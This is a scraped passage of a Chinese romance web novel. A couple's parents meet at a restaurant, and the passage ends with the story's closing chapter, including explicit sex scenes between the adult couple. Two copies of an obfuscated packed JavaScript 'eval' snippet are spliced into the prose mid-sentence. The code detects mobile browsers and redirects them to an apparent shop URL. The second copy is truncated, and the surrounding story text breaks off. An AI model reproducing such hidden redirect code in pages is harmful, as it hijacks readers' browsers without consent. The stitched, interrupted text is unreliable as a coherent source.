夏曈拿出自己手机,美滋滋地把钱收了,跳上他的背,“还有我呀!” 沈湛明被她扑上来,身形依旧稳。 夏曈勾着他脖子,声音轻轻的,含着热意:“我可以养着它们,我也养你好吗?” 沈湛明淡笑出声:“我也是有靠山的人了。” “那当然!但是你不可以花太多钱,”夏曈弯眸,语气故作凶巴巴,“我不喜欢太物质的男人。” 沈湛明被她逗笑,“好,我一点都不物质,很容易养的。” - 周末两家去酒楼吃了顿饭,原本应该是很正式的,聊着聊着又成了彼此父母的闲谈会。沈湛明和夏曈连话都参与不进,只好低头吃。 夏曈喜欢吃其中一道金沙虾球,沈湛明见她有点意犹未尽的样子,便让服务生再上一道。双方父母见状,这才将注意力转回到他们身上。 可是依旧没什么好说,他们彼此之间太熟悉了。 沈湛明如何行事、如何对待夏曈,夏曈又是什么脾气与性格,长辈们早就心知肚明。那些客套的寒暄、试探都不必有,唯一需要做的,就是适应身份的转变。 从世交好友变成亲家,亲上加亲。 对于双方长辈来说,这件事既水到渠成,又称得上他们的幸运。 不必让自家孩子去融入另外的家庭,他们也不必再费心思去和另外的家庭搞好关系、费心尽力。 无论如何,都省下不少交往的功夫。也让他们对这件事愈发满意与放心。 因此,这顿饭吃到最后,也没什么好嘱咐。催婚吧,两人提前统一口径,暂不考虑那一步,他们也不好相逼。 因此无非还是那些家常,两对父母明显更有话题。 饭后下楼,杜静兰在车后座提出一兜香椿芽,让夏曈回去做香椿炒蛋,她最爱吃这个。 夏曈笑盈盈道:“好。” 如今香椿树并不多见,但他们院里栽满各种老树,一年四季都能见到繁花盛开。夏曈小时候就经常见到大人们摘各种花叶做食物,现在也知道这些香椿是从哪棵树上采摘的芽。 杜静兰又给她取出做好的榆钱饼和窝窝,“知道你不会做,我都在家做好的。笨死你算了,长这么大连面都不会和。” 夏曈笑嘻嘻地接过去,“我妈会呀。” “天塌了你也只会喊妈?” 夏曈忙不迭点头:“嗯嗯!” 杜静兰被她气笑,又想到什么,眉心微皱,低声嘱咐道:“平时别总是让你湛明哥做饭,知道吗?你也跟着学学,他哪天不在家,你也自己做点,老是吃外面的,像什么样子!” 夏曈嘀咕道:“他不在家时,也做好了给我放冰箱……” 见杜静兰又酝酿长篇大论,赶紧讨饶:“好好好,我记住了,今晚就去沈湛明那里偷师。” 杜静兰又气又想笑,沉默一瞬,轻声叹道:“是湛明就好。” 是他就好。 夏曈轻扬眉,在榆钱饼捏了小小块,塞进嘴里,光明正大给自己加餐。 这时苑菲菲走过来,笑道:“曈曈。” 夏曈站直了身体,“菲菲阿姨。” 她莫名紧张,但苑菲菲只笑说:“怎么又叫阿姨,你忘啦,小时候还叫我妈妈呢。” 夏曈抿唇笑。 她小时候分不清家里人的关系,就胡乱叫,把苑菲菲当第二个妈妈。如今想来,倒是有些巧合的惊喜。 刚才在饭桌上诸多话不方便,此时苑菲菲抬手拂开她肩头的碎发,笑着感慨道:“我们曈曈也长大了。” “刚高考完就跟湛明在一起,却瞒我们到现在!”杜静兰仍念叨这事,“幸好没耽误学习!” 夏曈听见这话都不敢吭声,生怕她妈把她高三模拟考退步和早恋这事联系到一起。不然她可就真得挨骂了。 苑菲菲倾身过来,以手掩唇,小声笑:“上个月你妈妈知道这事后,还打电话找我哭诉了一场呢。” 夏曈睁大眼:“真的?” 杜静兰以往恨不得让她头天领证,第二天生娃。怎么她真的确认关系了,杜女士又哭起来? 杜静兰耳朵微红,不肯承认:“我什么时候哭诉了?苑菲菲你不要乱讲!” “我没乱讲啊,”苑菲菲挽住她的胳膊,笑盈盈道,“说平时催女儿结婚只是说说而已,没想到真的找到了关系稳定的男朋友,像做梦一样,她可舍不得真让曈曈跟哪个男人一起过日子,万一受委屈怎么办?” 夏曈露出惊讶的神色。 苑菲菲看着杜静兰,笑道:“幸好是湛明,对不对?” 杜静兰轻声叹息,“他确实比任何人都让我放心。” “而且湛明和曈曈在一起,我们不也能永远在一起吗?” 苑菲菲笑道,“等以后我们都老了走不动了,还能像这样一起玩。” 杜静兰看她:“都走不动了,还玩什么?” “坐轮椅啊!要不有机器人呢!”苑菲菲说,“等咱老了,机器人会发展成什么样子都不一定呢,到时候不照样出去旅游?” 她说完这个,又看向夏曈:“曈曈放心啊,我跟你妈老了绝对不用你们操心养老的问题,你们过好自己的日子就行啦,甭管我们,我们会自己住养老院或者买机器人的,啊。” 杜静兰对这点表示同意,“这倒是,她连和面都不会。指望她不如指望机器人。” 夏曈扭头望天,不想说话。 这两位说起话来,没她插嘴的份。 难怪杜静兰这么快就接受她和沈湛明在一起的事了,菲菲公主平时一定没少开解她。 好闺蜜说话就是比亲闺女好使! 夏曈眯眼放空。这时苑菲菲微笑道:“曈曈,你知道湛明的性格是比较闷的。如果以后他有任何让你不高兴的地方,曈曈不要忍着,跟妈妈讲,好吗?” 她眨眼暗示:“你可是有两个妈妈呢。” 苑菲菲在生下沈湛明之前,先是杜静兰的好闺蜜。 她身为女性,天然会倾向杜静兰、以及杜静兰的女儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473037|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 何况她自己也把夏曈当女儿。 苑菲菲知道许多女性在确认关系后,就被迫委曲求全。她接触过的例子并不少,而婚姻亦或同居总是充满了琐碎的小事。她清楚夏曈不是那种打碎牙往肚子里吞的性格,可是她还要讲。 这是她给夏曈的保证。 她不会同性压迫,而是永远站在夏曈的这一边。 “好啊。”夏曈弯眸,在春日料峭的微风里,轻声喊了声,“妈妈。” 她上次叫苑菲菲妈妈,还是在小学一年级时。 距今已经将近二十年。 苑菲菲许久没听到她这么叫,先是愣了下,随后露出惊喜的表情,抱住夏曈,对杜静兰道:“你听到了吗,曈曈叫我妈妈!” 杜静兰无奈:“听得一清二楚。” 苑菲菲常年苍白的脸色染上兴奋的微红,“沈湛明这孩子终于是有点用了,让我这把年纪还能无痛拥有一个女儿。” 杜静兰皱眉:“你这话让他听见怎么想?” “我管他。”苑菲菲笑道,“别摆出一副不赞同的样子,你不也是有了沈湛明当儿子?” 杜静兰摆手:“谢谢你,我可不要什么儿子!” 两个妈妈的笑声此起彼伏,夏曈视线放远,不远处的树荫下,沈湛明正认真听夏屹山说话。 也许是彼此心里感应,她看过去时,沈湛明也抬眼,两人视线对上,皆轻轻笑了下。 回去的路上,沈湛明有意开得很慢。他将车窗降下一半,让夏曈眯眼吹风。 道边绿化带的郁金香与各色月季开出灿烂的橙金红粉色,春天的风里满是花香。 夏曈举着手机拍照,又好奇问:“刚才我爸跟你说什么了?” 沈湛明掌着方向盘,余光看到她被风吹起的韧亮发丝,“说你脾气坏,爱挑食,性格娇气,让我平时多包容。” 夏曈对此无法反驳,但硬要反驳:“他怎么能这么说我,我已经很久不挑食了!” 那是因为沈湛明只做她喜欢吃的食物。她不喜欢的,他根本不会买。 前方十字路口,红灯亮起。 沈湛明停车,手掌越过中控,将她的手指捏在掌心,细细摩挲,淡笑道,“夏叔叔是生怕你受委屈。” 先说夏曈的缺点,把沈湛明架上去。这样无论夏曈以后惹他多么不开心,他都要念在这番话的份上,对她无限包容。 老父亲的心思昭然,也不屑于掩饰。 虽然他纯属多虑。 沈湛明不仅没觉得夏曈的脾气和傲娇是缺点,反而特别喜欢她这样。 夏曈哼哼声,“刚才菲菲妈跟我讲的话不一样哦。” “怎么讲?” “说你性格闷,不爱讲话,让我不高兴时就去找她告状。”夏曈放下手机,拖长腔调,“好可怜啊哥哥,没人站在你这边。” 她的眼瞳明亮,在春日的午后,闪烁着狡黠的光芒。 沈湛明凝视她的双眼,温和出声:“那你站在我这边吗?” 夏曈才不:“我只站在自己这边。” 她是缺乏奉献精神的人,所做的一切都只是为了自己过得更舒适。 “好吧,”沈湛明颔首,语气遗憾道,“看来我只能争取稳稳留住你的心了。” 夏曈的指腹揉捏他手背青筋,好奇道:“那你要怎么做呢?” 她把他身上纹理清晰的筋络当解压玩具,揉揉捏捏,沈湛明有时随她,有时被捏出火,就会反过来“捏”她一顿。 此时夏曈触碰的区域仅有手背,这点刺/激,沈湛明可以控制,便拉住她的手,放在结实温热的腰腹。 他的腰间并无一丝赘肉,精悍又充满美感,与健身房的科技狠活还不一样。夏曈有时被欺负得狠了,想掐他,都很难找到着力点。 他淡淡笑道:“厨艺和身材应该能让你满意?性能力也许还要再提高一些。” 夏曈支棱半天,被他轻描淡写的一句话闹得脸红,“厨艺和身材保持住,性能力什么的就不必再提高了……” “不必吗?”沈湛明偏头看她一眼,“我觉得远远不到曈曈的极限。” 夏曈的脸彻底红透,“……想让我肾虚就直说!” 沈湛明勾唇,轻声笑道:“我没有那么坏吧?” 47. 第 47 章 小区里的垂丝海棠与梨花开至荼蘼,花瓣落了满地。 很快春末夏初。 也许因为天气逐渐转暖,也许因为沈湛明结扎后,彼此都可以感受到与以往不同的体验。总之,两人彻底抛却羞耻心,在洒满阳光的每一个房间角落都留下过记忆。 最疯狂的一次,是沈湛明生日那天。 夏曈穿了一件酒红色的短裙,化了小恶魔的妆,坐在书房的实木桌子上,扰乱沈湛明秩序井然的工作区。 “沈医生,我身体有些不舒服,你帮我检查一下,好不好?” 明亮的灯光下,她脸颊妆容精致,眼里闪动着坏意的星芒。 沈湛明靠在椅背,淡声问:“哪里不舒服?” 夏曈不答。 晚餐拆了瓶白葡萄酒,她自己喝掉一大半,此时气息带着酒气,甜津津的,眼神也逐渐迷蒙。 分明要玩医生游戏的人是她。她坐在桌面,酒意上涌,却有东倒西歪的前兆。 沈湛明看她那副人菜瘾大的样子,稍觉好笑,视线落在她的肌肤,又难以自控地乱了气息。 他抬手扶住她柔软的腰肢,耐住性子陪她演,“哪里不舒服?嗯?你要告诉我啊,乖乖。” 夏曈思索两秒,指出他的错误,“不对!你不能这么叫我,我现在只是你的病人!” 沈湛明险些被她指控骚/扰病人,从善如流地挑眉:“好,夏女士。” 夏曈小声地笑;“嗯,这才对嘛。” 她没穿鞋袜,赤足踩在他的膝盖,慢慢滑动着向上攀登,直至踩到他。 夏初的傍晚还带着凉意,夏曈手臂上淡淡一层鸡皮疙瘩。 沈湛明的体温却很烫。他的身体带着不可忽视的热度,烘得夏曈脸色发红。 夏曈踩着他,眼珠明亮又湿润,“好像不舒服的是你呀,沈医生。” 沈湛明默然看她两秒,起身将文件扫到一旁。 他抽出皮带,捆住她胡乱挣扎的手腕。 皮带扣微凉,磕在桌面上发出声响。沈湛明的掌心却是粗糙灼烫的,从她的柔亮细韧的发顶拂过,又轻轻落在她的身体。 皮带解开,不知掉落到什么地方。彼此气息混乱又急促,沈湛明的酒量极好,此时却被她的吻染得微醉。 从书房一路闹进卧室,沈湛明的衬衫西裤全被她弄得湿透。 夏曈的膝盖被折着抵在肩头,她真成了一团软软的麻薯,被沈湛明的手掌肆意揉搓,眼眶含泪,抬起下巴索吻,“你抱着我,抱着我。” 沈湛明俯身吻她,手掌穿过她颤动的蝴蝶骨,将她整个人拥在怀里。一个稍显禁锢,实则极有安全感的拥抱。 夏曈身材修长,肢体柔韧,无论走在哪里,都是极为吸睛的矫健女性。但此时在他健硕体型的对比之下,柔软得不像话。 沈湛明移动手掌,摸到她小肚子上的肉,捏了两把,低低叹息:“怎么这么软。” 夏曈养了一冬天的膘,被他捏在手里当玩具,气得扭过脸去,不想理他。 “是不是吃太多甜食?” 沈湛明两指掐住她的下巴,捏得她嘴唇嘟起,“曈曈?” 夏曈被迫与他对视,却不肯回答这个问题,她偏头咬他的手指,“省省吧沈医生,我这辈子都不会戒掉甜食的!” 却没想到,这句话正合沈湛明的意。 他低头吻住她,含混的夸奖声从接吻的间隙里发出:“……真乖。” 夏曈神志不清地被翻了个面儿,掉泪时,都没想清楚她又是哪个字戳到他的兴/奋点了。 最后一次时,天色黑透。 卧室漆黑一片,玻璃窗外却是繁华夜景。 夏曈趴在窗边,玻璃窗单面可视,并没有暴露的风险。但微凉触感与心理暗示仍让她紧张不已。 沈湛明从后面抱住她,夏曈出了很多汗,酒精蒸发出去,她本该清醒,却感觉头脑更加昏胀,口齿不清地控诉道:“你又……打我。” 沈湛明低声问:“不是喜欢我打你吗?” 夏曈小声啜泣:“……我没有!” “没有吗,”沈湛明倾身咬住她的后颈,“不喜欢还每次都咬这么紧。” 夏曈很想哭,她以为自己流了很多泪,事后却发现并没有。 原来她体内的水分,都以另一种形式失去了。 洗完澡,夏曈被放在柔软的床榻上时,还在控诉他:“你怎么越来越坏了,你以前可没这么多折磨人的手段……” 理直气壮,义正言辞,好不委屈。 仿佛刚才爽到掉泪的人不是她。 沈湛明静静听着,并不反驳。 他给她喂了一杯水,又去接了一杯放在床头,随后关灯,将她抱在怀里,按揉她酸痛的腿和腰,“所以喜欢吗?” 黑暗里,他的嗓音低沉柔和,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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客厅里播放某部动画电影,胶布和汤圆在地毯上玩闹。玻璃缸里鱼尾的色彩绚烂迷离,如海水般梦幻而温柔。 微风吹进屋内,带来独属于夏季的暖香。 夏曈从来不想追求什么刺激。 她只知道,即便在世界消亡的前一秒,如果还有人能坐在她身边,听她讲话,给她快乐。那么这个人,一定会是沈湛明。 于沈湛明而言,他想要的,无非也是无数个这样平静、舒适的瞬间。 -全文完-